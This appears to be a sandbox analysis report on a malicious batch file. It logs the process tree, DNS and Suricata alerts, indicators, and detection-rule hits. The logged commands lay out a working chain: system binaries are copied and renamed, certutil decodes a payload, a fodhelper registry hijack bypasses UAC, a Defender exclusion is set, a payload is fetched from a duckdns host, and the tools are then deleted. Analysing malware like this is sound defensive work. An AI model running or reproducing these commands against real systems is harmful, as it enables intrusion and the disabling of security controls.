Qwsyldgxfuefxl.bat| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | May 31, 2024, 10 a.m. | May 31, 2024, 10:03 a.m. |
-
cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "nCOkAp" C:\Users\test22\AppData\Local\Temp\Qwsyldgxfuefxl.bat
3052-
-
extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
296 -
alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
2372 -
alpha.exe C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
1116 -
alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
1588-
extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
1196
-
-
alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\test22\AppData\Local\Temp\Qwsyldgxfuefxl.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
776-
kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\test22\AppData\Local\Temp\Qwsyldgxfuefxl.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
1880
-
-
alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
1680-
extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
2132
-
-
alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
2464-
extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
2560
-
-
alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
2852-
extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
2920
-
-
alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
3016-
xkn.exe C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
2796-
alpha.exe "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
2312-
ger.exe C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
2392
-
-
-
-
alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
832-
kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
1652
-
-
-
taskkill.exe taskkill /F /IM SystemSettings.exe
756
-
-
Ping_c.pif C:\Users\Public\Libraries\Ping_c.pif
2472 -
alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
2788 -
alpha.exe C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
2988 -
alpha.exe C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
2184 -
alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
2340 -
alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
2252 -
alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
1648 -
alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
1164 -
alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
1844
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| madibarohillathree.duckdns.org | 103.183.115.144 | |
| onedrive.live.com |
CNAME
web.fe.1drv.com
|
13.107.139.11 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49204 -> 103.183.115.144:80 | 2042937 | ET INFO DYNAMIC_DNS HTTP Request to a *.duckdns .org Domain | Potentially Bad Traffic |
| UDP 192.168.56.102:63709 -> 164.124.101.2:53 | 2042936 | ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain | Potentially Bad Traffic |
| UDP 192.168.56.102:63709 -> 164.124.101.2:53 | 2022918 | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain | Misc activity |
| TCP 192.168.56.102:49207 -> 13.107.139.11:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
No Suricata TLS
| domain | madibarohillathree.duckdns.org |
| request | GET http://madibarohillathree.duckdns.org/osa/233_Bihmbribbjz |
| file | C:\Users\Public\Libraries\Ping_c.pif |
| file | C:\Users\Public\kn.exe |
| file | C:\Users\Public\xkn.exe |
| file | C:\Users\Public\ger.exe |
| file | C:\Users\Public\alpha.exe |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" |
| cmdline | extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" |
| cmdline | C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" |
| wmi | SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "SystemSettings.exe") |
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| cmdline | C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S |
| cmdline | C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe" |
| cmdline | C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe |
| cmdline | C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S |
| cmdline | C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S |
| cmdline | C:\\Users\\Public\\alpha /c rmdir "C:\Windows \" |
| cmdline | C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows " |
| cmdline | C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*" |
| cmdline | extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe" |
| cmdline | C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32" |
| cmdline | C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32" |
| cmdline | C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S |
| cmdline | taskkill /F /IM SystemSettings.exe |
| cmdline | C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S |
| file | C:\Users\Public\alpha.exe |
| file | C:\Users\Public\Libraries\Ping_c.pif |
| file | C:\Users\Public\kn.exe |
| file | C:\Users\Public\xkn.exe |
| file | C:\Users\Public\ger.exe |